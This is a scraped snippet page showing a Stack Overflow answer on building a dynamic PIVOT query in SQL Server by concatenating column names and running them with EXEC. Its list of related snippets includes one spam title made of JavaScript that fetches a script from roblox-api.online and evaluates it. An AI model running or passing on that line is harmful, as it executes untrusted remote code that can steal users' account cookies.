/SQL/SQL Server dynamic pivot unknown number of columns

SQL Server dynamic pivot unknown number of columns

-   DECLARE @v_query  VARCHAR(8000) -- main query
    DECLARE @v_columns VARCHAR(8000) -- columns

    SET @v_columns =''

    -- Get string columns
    SELECT @v_columns += '[' + CONVERT(VARCHAR, Item) +'],' FROM (SELECT DISTINCT Item FROM #temp2) AS temp

    -- Delete the last comma
    SET @v_columns = LEFT(@v_columns,LEN(@v_columns)-1)


    -- Main query

    SET @v_query = 'SELECT Name, ' + @v_columns +' FROM
                    (
                        SELECT Name, Item FROM #temp2
                    ) T             
                    PIVOT
                    (
                        Count(Item)
                        FOR Item IN ('+ @v_columns +')
                    ) PVT'
    EXEC (@v_query)

Source: stackoverflow.com

Similar codes

1 vote321 views1 answer
Cannot drop database because it is currently in use
SQL
0 vote310 views1 answer
Login phpmyadmin without password
SQL
0 vote306 views1 answer
Sql server inner join convert collation
SQL
1 vote362 views2 answers
Install sql server management studio ubuntu
SQL
0 vote320 views1 answer
Extract sql from query object sqlalchemy
SQL
0 vote364 views1 answer
Find and replace query in wordpress\
SQL
20 votes326 views6 answers
Creating a table in sql
SQL
4 votes289 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
0 vote306 views1 answer
Oracle sql winter time change
SQL
0 vote292 views1 answer
How many columns can be used for creating index?
SQL